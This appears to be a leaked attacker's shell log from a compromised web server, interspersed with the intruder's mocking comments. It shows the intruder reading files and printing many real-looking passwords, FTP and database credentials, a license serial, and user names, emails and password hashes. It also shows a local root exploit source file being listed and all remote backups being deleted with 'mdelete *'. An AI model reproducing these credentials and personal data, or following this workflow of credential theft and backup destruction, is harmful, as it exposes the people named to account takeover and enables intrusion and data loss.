mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
|
|
top
|
|
ping ssth.ch
|
|
ping asdlkfaljgasd???ljg???lasj.ch
|
|
ping asdlkfaljgasdlasj.ch
|
|
ping www.ssth.ch
|
|
ping ssth.ch
|
|
nslookup www.google.ch
|
|
nslookup www.ssth.ch
|
|
man nslookup
|
|
ping www.google.ch
|
|
nslookup www.google.ch
|
|
nslookup www.google.ch
|
|
nslookup salfjasdlf.ch
|
|
[snip]
|
|
openssl passwd -1 sadf
|
|
openssl passwd -1 5cZNHstdTy
|
|
mysql
|
|
mysql
|
|
locate proftp
|
|
vi /etc/proftpd.passwd
|
|
service proftpd restart
|
|
locate proftpd.conf
|
|
vi /etc/proftpd.conf
|
|
vi /etc/proftpd.passwd
|
|
service proftpd restart
|
|
[snip]
|
|
/bin/sh /home/com/backup_system/backup.sh
|
|
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
|
|
mysqldump -h localhost -u contrexxuser2 --password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
|
|
mysqldump -h localhost -u contrexxuser2 --password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
|
|
ls -ali
|
|
mysqldump -h localhost -u com_user1 --password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
|
|
mysqldump -h localhost -u com_user1 --password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
|
|
crontab -l
|
|
crontab -l
|
|
php -q /home/com/public_html/modifications/cronjobs/securitynews.php
|
|
/home/com/public_html/modifications/cronjobs/exploits.sh
|
|
wget http://www.litespeedtech.com/packages/4.0/lsws-4.0.3-ent-x86_64-linux.tar.gz
|
|
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
|
|
cd lsws-4.0.3
|
|
sh install.sh
|
|
uptime
|
|
hdparm -tt /dev/sda
|
|
iostat
|
|
yum install iostat
|
|
iostat
|
|
whereis iostat
|
|
yjm clean all
|
|
yum clean all ; yum -y update
|
|
iostat
|
|
yum install systat
|
|
rpm -qa | grep iostat
|
|
rpm -qa | grep sysstat
|
|
rpm -qa | grep systat
|
|
dmesg -c
|
|
sysctl -p
|
|
uname -r
|
|
cd /usr/src
|
|
wget nix101.com/kernels/sstlinux.tar.gz
|
|
shutdown -r now
|
|
nano -w /boot/grub/grub.conf
|
|
|
|
sh-3.2# cat .my.cnf
|
|
[client]
|
|
user=da_admin
|
|
password=X9dctmRH
|
|
|
|
sh-3.2# cat /home/com/backup_system/backup.sh
|
|
#!/bin/sh
|
|
#####################################################################
|
|
# #
|
|
# incremental backup for astalavista.com #
|
|
# #
|
|
# author: Paulo M. Santos <paulo.santos@astalavista.com> #
|
|
# #
|
|
#####################################################################
|
|
[snip]
|
|
PROG_DIR="/home/com/backup_system";
|
|
BACKUP_DIR="/home/com/backups";
|
|
DOBACKUP_FROM="/home/com/domains/astalavista.com/public_html";
|
|
# ftp for synology backup server
|
|
FTP_HOST="212.254.194.163";
|
|
FTP_PORT="21";
|
|
FTP_USER="astalavista.com";
|
|
FTP_PASS="yWHOJbzpWTWC6Xrmg1WnfBk5V";
|
|
FTP_DIR="/astalavista.com";
|
|
# database
|
|
DB_HOST="localhost";
|
|
DB_USER="contrexxuser2";
|
|
DB_PASS="0fEYNZgXz1pKe";
|
|
DB_DATABASE1="com_contrexx2_live";
|
|
DB_DATABASE2="com_contrexx2";
|
|
[snip]
|
|
ftp -in $FTP_HOST $FTP_PORT <<EOF
|
|
quote USER $FTP_USER
|
|
quote PASS $FTP_PASS
|
|
cd $FTP_DIR
|
|
put $DB_FULLNAME-SQL_Dump.tar
|
|
put $BACKUP_FULLNAME-Public_HTML.tar
|
|
close
|
|
bye
|
|
EOF
|
|
|
|
sh-3.2# cd /home
|
|
sh-3.2# ls -la
|
|
total 120
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
|
|
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
|
|
drwx--x--x 9 admin admin 4096 Nov 28 2007 admin
|
|
-rw------- 1 root root 8192 Jun 4 03:03 aquota.group
|
|
-rw------- 1 root root 8192 Jun 3 02:45 aquota.user
|
|
drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 astanet
|
|
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
|
|
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
|
|
drwx--x--x 10 com com 4096 Apr 28 12:40 com
|
|
drwxr-xr-x 2 root root 4096 May 17 2007 ftp
|
|
drwx------ 3 jon jon 4096 Sep 21 2007 jon
|
|
drwx------ 2 root root 16384 Sep 11 2007 lost+found
|
|
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
|
|
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
|
|
drwx------ 2 jon jon 4096 Sep 15 2007 test
|
|
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
|
|
|
|
sh-3.2# cd admin
|
|
sh-3.2# ls -la
|
|
total 1735896
|
|
drwx--x--x 9 admin admin 4096 Nov 28 2007 .
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
|
|
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups
|
|
drwx------ 2 admin admin 4096 Sep 28 2007 backups
|
|
-rw------- 1 admin admin 860 Sep 17 2008 .bash_history
|
|
-rw-r--r-- 1 admin admin 24 Sep 14 2007 .bash_logout
|
|
-rw-r--r-- 1 admin admin 176 Sep 14 2007 .bash_profile
|
|
-rw-r--r-- 1 admin admin 124 Sep 14 2007 .bashrc
|
|
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups
|
|
drwx--x--x 6 admin admin 4096 Sep 21 2007 domains
|
|
drwxrwx--- 3 admin mail 4096 Sep 21 2007 imap
|
|
-rw-r--r-- 1 root root 24 Sep 21 2007 info.php
|
|
drwx------ 2 admin admin 4096 Sep 21 2007 mail
|
|
-rw-r--r-- 1 root root 716 Nov 28 2007 server.csr
|
|
-rw-r--r-- 1 root root 887 Nov 28 2007 server.key
|
|
-rw-r----- 1 admin mail 34 Sep 14 2007 .shadow
|
|
-rw-r----- 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
|
|
drwx--x--x 2 admin admin 4096 Jul 29 2008 user_backups
|
|
|
|
sh-3.2# ..
|
|
sh-3.2# cd jon
|
|
sh-3.2# ls -la
|
|
total 36
|
|
drwx------ 3 jon jon 4096 Sep 21 2007 .
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
|
|
-rw------- 1 jon jon 53 Sep 21 2007 .bash_history
|
|
-rw-r--r-- 1 jon jon 24 Sep 21 2007 .bash_logout
|
|
-rw-r--r-- 1 jon jon 176 Sep 21 2007 .bash_profile
|
|
-rw-r--r-- 1 jon jon 124 Sep 21 2007 .bashrc
|
|
-rw-r--r-- 1 root root 24 Sep 21 2007 info.php
|
|
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
|
|
|
|
sh-3.2# cd ..
|
|
sh-3.2# cd test
|
|
sh-3.2# ls -la
|
|
total 48
|
|
drwx------ 2 jon jon 4096 Sep 15 2007 .
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
|
|
-rw------- 1 jon jon 79 Sep 21 2007 .bash_history
|
|
-rw-r--r-- 1 jon jon 24 Sep 15 2007 .bash_logout
|
|
-rw-r--r-- 1 jon jon 176 Sep 15 2007 .bash_profile
|
|
-rw-r--r-- 1 jon jon 124 Sep 15 2007 .bashrc
|
|
sh-3.2# cat .bash_history
|
|
/usr/bin/mysqladmin -u root password PoliuJhytg67
|
|
|
|
sh-3.2# cd ..
|
|
sh-3.2# cd astanet
|
|
sh-3.2# ls -la
|
|
total 52
|
|
drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 .
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
|
|
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
|
|
-rw------- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
|
|
-rw-r--r-- 1 astanet astanet 33 Dec 17 21:50 .bash_logout
|
|
-rw-r--r-- 1 astanet astanet 176 Dec 17 21:50 .bash_profile
|
|
-rw-r--r-- 1 astanet astanet 124 Dec 17 21:50 .bashrc
|
|
drwx--x--x 3 astanet astanet 4096 Dec 23 12:18 domains
|
|
drwxrwx--- 3 astanet mail 4096 Dec 23 12:18 imap
|
|
drwx------ 2 astanet astanet 4096 Dec 23 12:18 mail
|
|
-rw------- 1 astanet astanet 197 Jun 4 09:51 .mysql_history
|
|
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
|
|
-rw-r----- 1 astanet mail 34 Dec 22 12:41 .shadow
|
|
|
|
sh-3.2# cd auth/
|
|
sh-3.2# ls -la
|
|
total 28
|
|
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .
|
|
drwx--x--x 6 astanet astanet 4096 Jun 4 09:51 ..
|
|
-rw-r--r-- 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
|
|
-rw-r--r-- 1 root root 319 Jan 5 2006 hosting.config.inc.php
|
|
-rw-r--r-- 1 root root 24 Jun 4 09:38 .htadm_pwd
|
|
-rw-r--r-- 1 root root 49 Jan 5 2006 .htpasswd_newhosting
|
|
-rw-r--r-- 1 root root 51 Oct 11 2006 .htwebalizer_pwd
|
|
|
|
sh-3.2# cat hackercontest.config.inc.php
|
|
<?PHP
|
|
// Variabeln f?r Verbindung zur Datenbank //
|
|
$conxHost = 'localhost'; // MySQL hostname
|
|
$conxUser = 'hackercontest'; // MySQL user
|
|
$conxPassword = 'K6m@7dUc'; // MySQL password
|
|
$bfkey = 'cXvB3981'; // Encryption/Decryption Key for Blowfish
|
|
?>
|
|
sh-3.2# cat hosting.config.inc.php
|
|
<?PHP
|
|
// Variabeln f?r Verbindung zur Datenbank //
|
|
$conxHost = 'localhost'; // MySQL hostname
|
|
$conxUser = 'hostinguser'; // MySQL user
|
|
$conxPassword = 'cXvB3981'; // MySQL password
|
|
$bfkey = 'cXvB3981'; // Encryption/Decryption Key for Blowfish
|
|
?>
|
|
|
|
sh-3.2# cd ..
|
|
sh-3.2# cd com
|
|
sh-3.2# ls -la
|
|
total 141208
|
|
drwx--x--x 10 com com 4096 Apr 28 12:40 .
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
|
|
drwx------ 2 com com 4096 Jun 4 04:04 backups
|
|
-rw-r--r-- 1 root root 2419504 Sep 28 2007 backup.sql
|
|
drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system
|
|
-rw------- 1 com com 21880 Jun 2 08:07 .bash_history
|
|
-rw-r--r-- 1 com com 24 Sep 24 2007 .bash_logout
|
|
-rw-r--r-- 1 com com 176 Sep 24 2007 .bash_profile
|
|
-rw-r--r-- 1 com com 124 Sep 24 2007 .bashrc
|
|
drwx--x--x 3 com com 4096 Jan 29 2008 domains
|
|
-rw-r--r-- 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed
|
|
drwxrwx--- 3 com mail 4096 Jan 6 19:24 imap
|
|
-rw------- 1 com com 69 Nov 18 2008 .lesshst
|
|
drwx------ 2 com com 4096 Sep 24 2007 mail
|
|
-rw------- 1 com com 13970 Mar 28 21:42 .mysql_history
|
|
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
|
|
lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
|
|
-rw-r----- 1 com mail 34 Sep 24 2007 .shadow
|
|
drwx------ 2 com com 4096 Aug 26 2008 .ssh
|
|
-rwx------ 1 com com 8515 Feb 10 2008 t
|
|
-rw-rw-r-- 1 com com 6265 Feb 11 2008 t.c
|
|
drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
|
|
-rw-rw-r-- 1 com com 617 May 20 2008 .toprc
|
|
-rw-rw-r-- 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql
|
|
-rw------- 1 com com 16629 Mar 28 21:46 .viminfo
|
|
-rw-rw-r-- 1 com com 51 Aug 25 2008 .vimrc
|
|
|
|
sh-3.2# head t.c
|
|
/*
|
|
* jessica_biel_naked_in_my_bed.c
|
|
*
|
|
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
|
|
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
|
|
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
|
|
*
|
|
* Linux vmsplice Local Root Exploit
|
|
* By qaaz
|
|
*
|
|
|
|
sh-3.2# cd /
|
|
sh-3.2# ls -la
|
|
total 360
|
|
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .
|
|
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
|
|
-rw------- 1 root root 10240 Jun 3 02:39 aquota.group
|
|
-rw------- 1 root root 10240 Jun 3 02:39 aquota.user
|
|
-rw-r----- 1 root root 819 Jul 17 2008 astalavista.us.db
|
|
-rw-r--r-- 1 root root 0 Jun 3 02:43 .autofsck
|
|
-rw-r--r-- 1 root root 0 Sep 16 2007 .autorelabel
|
|
drwxr-xr-x 3 root root 4096 Dec 29 2007 backup
|
|
drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin
|
|
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot
|
|
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev
|
|
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 home
|
|
-rw-r--r-- 1 root root 13387 Mar 20 2008 httpd.conf
|
|
drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
|
|
drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
|
|
drwx------ 2 root root 16384 Sep 11 2007 lost+found
|
|
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media
|
|
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc
|
|
drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt
|
|
-rw-r--r-- 1 root root 5859 Feb 3 2008 mrtg.cfg
|
|
drwxr-xr-x 2 root root 0 Jun 3 02:43 net
|
|
drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt
|
|
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc
|
|
drwxr-x--- 15 root root 4096 Jun 4 08:40 root
|
|
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
|
|
drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
|
|
drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv
|
|
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys
|
|
drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp
|
|
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
|
|
drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
|
|
|
|
sh-3.2# cd opt
|
|
sh-3.2# ls -la
|
|
total 20
|
|
drwxr-xr-x 3 root root 4096 Mar 11 17:56 .
|
|
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
|
|
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws
|
|
|
|
sh-3.2# cd lsws/
|
|
sh-3.2# ls -la
|
|
total 108
|
|
drwxr-xr-x 15 root root 4096 Mar 20 2008 .
|
|
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
|
|
drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
|
|
drwxr-xr-x 13 root root 4096 May 29 15:10 admin
|
|
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate
|
|
drwxr-xr-x 2 root root 4096 May 29 15:10 bin
|
|
drwx------ 4 apache apache 4096 Jun 3 02:43 conf
|
|
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT
|
|
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs
|
|
drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
|
|
drwxr-xr-x 2 root root 4096 Sep 15 2008 lib
|
|
-rw-r--r-- 1 root root 6959 May 29 15:10 LICENSE
|
|
-rw-r--r-- 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP
|
|
-rw-r--r-- 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
|
|
-rw-r--r-- 1 root root 3208 May 29 15:10 LICENSE.PHP
|
|
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
|
|
drwxr-xr-x 2 root root 4096 Mar 20 2008 php
|
|
drwx------ 2 apache apache 4096 Mar 20 2008 phpbuild
|
|
drwxr-xr-x 3 root root 4096 Mar 20 2008 share
|
|
-rw-r--r-- 1 root root 6 May 29 15:10 VERSION
|
|
|
|
sh-3.2# cd conf
|
|
sh-3.2# ls -la
|
|
total 48
|
|
drwx------ 4 apache apache 4096 Jun 3 02:43 .
|
|
drwxr-xr-x 15 root root 4096 Mar 20 2008 ..
|
|
drwx------ 2 apache apache 4096 Mar 20 2008 cert
|
|
-rw-r--r-- 1 apache apache 6668 May 29 15:13 httpd_config.xml
|
|
-rw------- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
|
|
-rw-r--r-- 1 root apache 0 Jun 3 14:11 .last
|
|
-rw------- 1 apache apache 256 May 29 15:10 license.key
|
|
-rw------- 1 apache apache 256 Mar 21 2008 license.key.old
|
|
-rw------- 1 apache apache 3320 Mar 20 2008 mime.properties
|
|
-rw------- 1 apache apache 20 May 29 15:10 serial.no
|
|
drwx------ 2 apache apache 4096 Mar 20 2008 templates
|
|
|
|
sh-3.2# cat serial.no
|
|
IbDl-oVsO-CKqL-wVRa
|
|
|
|
sh-3.2# mysql
|
|
Welcome to the MySQL monitor. Commands end with ; or \g.
|
|
Your MySQL connection id is 286844
|
|
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
|
|
|
|
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
|
|
|
|
mysql> show databases;
|
|
+-----------------------+
|
|
| Database |
|
|
+-----------------------+
|
|
| information_schema |
|
|
| astanet_ads |
|
|
| astanet_mailing_lists |
|
|
| astanet_mediawiki |
|
|
| astanet_membersystem |
|
|
| com_contrexx |
|
|
| com_contrexx2 |
|
|
| com_contrexx2_live |
|
|
| da_roundcube |
|
|
| dolphin |
|
|
| ideapool |
|
|
| mysql |
|
|
| test |
|
|
| yourmaster |
|
|
+-----------------------+
|
|
14 rows in set (0.00 sec)
|
|
|
|
mysql> use ideapool
|
|
Database changed
|
|
mysql> show tables;
|
|
+-----------------------------------+
|
|
| Tables_in_ideapool |
|
|
+-----------------------------------+
|
|
| eventum_columns_to_display |
|
|
| eventum_custom_field |
|
|
| eventum_custom_field_option |
|
|
| eventum_custom_filter |
|
|
| eventum_customer_account_manager |
|
|
| eventum_customer_note |
|
|
| eventum_email_account |
|
|
| eventum_email_draft |
|
|
| eventum_email_draft_recipient |
|
|
| eventum_email_response |
|
|
| eventum_faq |
|
|
| eventum_faq_support_level |
|
|
| eventum_group |
|
|
| eventum_history_type |
|
|
| eventum_irc_notice |
|
|
| eventum_issue |
|
|
| eventum_issue_association |
|
|
| eventum_issue_attachment |
|
|
| eventum_issue_attachment_file |
|
|
| eventum_issue_checkin |
|
|
| eventum_issue_custom_field |
|
|
| eventum_issue_history |
|
|
| eventum_issue_quarantine |
|
|
| eventum_issue_requirement |
|
|
| eventum_issue_user |
|
|
| eventum_issue_user_replier |
|
|
| eventum_link_filter |
|
|
| eventum_mail_queue |
|
|
| eventum_mail_queue_log |
|
|
| eventum_news |
|
|
| eventum_note |
|
|
| eventum_phone_support |
|
|
| eventum_project |
|
|
| eventum_project_category |
|
|
| eventum_project_custom_field |
|
|
| eventum_project_email_response |
|
|
| eventum_project_field_display |
|
|
| eventum_project_group |
|
|
| eventum_project_link_filter |
|
|
| eventum_project_news |
|
|
| eventum_project_phone_category |
|
|
| eventum_project_priority |
|
|
| eventum_project_release |
|
|
| eventum_project_round_robin |
|
|
| eventum_project_status |
|
|
| eventum_project_status_date |
|
|
| eventum_project_user |
|
|
| eventum_reminder_action |
|
|
| eventum_reminder_action_list |
|
|
| eventum_reminder_action_type |
|
|
| eventum_reminder_field |
|
|
| eventum_reminder_history |
|
|
| eventum_reminder_level |
|
|
| eventum_reminder_level_condition |
|
|
| eventum_reminder_operator |
|
|
| eventum_reminder_priority |
|
|
| eventum_reminder_requirement |
|
|
| eventum_reminder_triggered_action |
|
|
| eventum_resolution |
|
|
| eventum_round_robin_user |
|
|
| eventum_search_profile |
|
|
| eventum_status |
|
|
| eventum_subscription |
|
|
| eventum_subscription_type |
|
|
| eventum_support_email |
|
|
| eventum_support_email_body |
|
|
| eventum_time_tracking |
|
|
| eventum_time_tracking_category |
|
|
| eventum_user |
|
|
+-----------------------------------+
|
|
69 rows in set (0.00 sec)
|
|
|
|
mysql> describe eventum_user;
|
|
+-------------------------+------------------+------+-----+---------------------+----------------+
|
|
| Field | Type | Null | Key | Default | Extra |
|
|
+-------------------------+------------------+------+-----+---------------------+----------------+
|
|
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
|
|
| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
|
|
| usr_customer_id | int(11) unsigned | YES | | NULL | |
|
|
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
|
|
| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |
|
|
| usr_status | varchar(8) | NO | | active | |
|
|
| usr_password | varchar(32) | NO | | | |
|
|
| usr_full_name | varchar(255) | NO | | | |
|
|
| usr_email | varchar(255) | NO | UNI | | |
|
|
| usr_preferences | longtext | YES | | NULL | |
|
|
| usr_sms_email | varchar(255) | YES | | NULL | |
|
|
| usr_clocked_in | tinyint(1) | YES | | 0 | |
|
|
| usr_lang | varchar(5) | YES | | NULL | |
|
|
+-------------------------+------------------+------+-----+---------------------+----------------+
|
|
13 rows in set (0.00 sec)
|
|
|
|
mysql> select usr_full_name,usr_email,usr_password from eventum_user;
|
|
+----------------------+-------------------------------+----------------------------------+
|
|
| usr_full_name | usr_email | usr_password |
|
|
+----------------------+-------------------------------+----------------------------------+
|
|
| system | system-account@example.com | 14589714398751513457adf349173434 |
|
|
| Developer (Paulo) | paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
|
|
| Be1er0ph0r | be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
|
|
| Admin | pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
|
|
| ADMIN | admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
|
|
| USER | user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |
|
|
| Glafkos - (nowayout) | glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
|
|
| Joao | joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |
|
|
| Pascal | pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
|
|
| commander | commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
|
|
| ishtus | ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
|
|
| sykadul | sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |
|
|
| Zach McElroy | admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
|
|
| usb | usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |
|
|
| cyph3r | cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
|
|
+----------------------+-------------------------------+----------------------------------+
|
|
15 rows in set (0.00 sec)
|
|
|
|
mysql> select iss_description from eventum_issue where iss_id = 43;
|
|
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
|
| iss_description
|
|
|
|
|
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
|
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in... how to do that? well think about it... if a user is watching a movie... he'll be
|
|
connected for 90 mins... 120mins... so what i propose is something like:
|
|
http://www.surfthechannel.com/
|
|
since they only provide LINKS to the movies they are LEGAL and don't break DMCA rules... so we could do the same... "iframe" the content on our website or use a system
|
|
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed... which doesn't
|
|
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
|
|
if they think it breaks copyright laws and we will remove it... i think that makes it on the border of DMCA...
|
|
|
|
We could also put advertisement during play on the flash video player itself... extra $$...
|
|
|
|
By sykadul |
|
|
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
|
1 row in set (0.00 sec)
|
|
|
|
// Money and extra $$ is all they care about. remember that.
|
|
|
|
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
|
|
+------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
|
| iss_summary | iss_description
|
|
|
|
|
+------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
|
| Forum for REAL EXPERTS | Hello,
|
|
|
|
Ishtus and I,
|
|
|
|
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
|
|
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
|
|
|
|
One example a friend of mine from coresecurity.com!
|
|
|
|
We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
|
|
|
|
|
|
|
+------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
|
1 row in set (0.00 sec)
|
|
|
|
// What an awesome yet original idea Ishtus and him... bring MORE security "experts", thats exactly what the world needs...
|
|
|
|
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
|
|
+------------------+---------------------------------------------------------------------------------------------+
|
|
| iss_summary | iss_description |
|
|
+------------------+---------------------------------------------------------------------------------------------+
|
|
| Website guidance | Virtual Girl which guides you trought the website.
|
|
|
|
We need a girl with who you can ( talk )!!!
|
|
Also for the News!
|
|
So my suggestion is a girl who read you the news loud if you like!
|
|
you can choose between read yourselfe or she read it for you or both!
|
|
|
|
Go to www.heise.de! There is an example for Voice News! It's a good thing!!!
|
|
|
|
Have a look on the example girls!!
|
|
|
|
http://www.yaoti.com/de/free_yaoti.html
|
|
|
|
or that
|
|
|
|
http://www.yellostrom.de/
|
|
|
|
|
|
|
+------------------+---------------------------------------------------------------------------------------------+
|
|
1 row in set (0.00 sec)
|
|
|
|
// ha ha.
|
|
|
|
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
|
|
+--------------------------+-----------------------------------------------------------------------------------------------------------+
|
|
| iss_summary | iss_description |
|
|
+--------------------------+-----------------------------------------------------------------------------------------------------------+
|
|
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
|
|
+--------------------------+-----------------------------------------------------------------------------------------------------------+
|
|
1 row in set (0.00 sec)
|
|
|
|
// LOL.
|
|
|
|
mysql> exit
|
|
Bye
|
|
|
|
|
|
sh-3.2# ftp 212.254.194.163
|
|
Connected to 212.254.194.163.
|
|
220 BackupCOM_VW FTP server ready.
|
|
504 AUTH: security mechanism 'GSSAPI' not supported.
|
|
504 AUTH: security mechanism 'KERBEROS_V4' not supported.
|
|
KERBEROS_V4 rejected as an authentication type
|
|
Name (212.254.194.163:root): astalavista.com
|
|
331 Password required for astalavista.com.
|
|
Password:
|
|
230 User astalavista.com logged in.
|
|
Remote system type is UNIX.
|
|
Using binary mode to transfer files.
|
|
ftp> ls -la
|
|
227 Entering Passive Mode (212,254,194,163,2,188)
|
|
150 Opening BINARY mode data connection for 'file list'.
|
|
dr-x------ 1 root users 4096 Jun 4 06:13 astalavista.com
|
|
226 Transfer complete.
|
|
ftp> cd astalavista.com
|
|
250 CWD command successful.
|
|
ftp> ls -la
|
|
227 Entering Passive Mode (212,254,194,163,2,189)
|
|
150 Opening BINARY mode data connection for 'file list'.
|
|
-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
|
|
-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
|
|
-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
|
|
-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
|
|
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
|
|
[snip]
|
|
226 Transfer complete.
|
|
ftp> mdelete *
|
|
ftp> ls -la
|
|
227 Entering Passive Mode (212,254,194,163,2,193)
|
|
150 Opening BINARY mode data connection for 'file list'.
|
|
226 Transfer complete.
|
|
ftp>
|
|
|
|
sh-3.2# cd /home
|
|
sh-3.2# ls -la
|
|
total 120
|
|
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
|
|
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
|
|
drwx--x--x 9 admin admin 4096 Nov 28 2007 admin
|
|
-rw------- 1 root root 8192 Jun 4 03:03 aquota.group
|
|
-rw------- 1 root root 8192 Jun 3 02:45 aquota.user
|
|
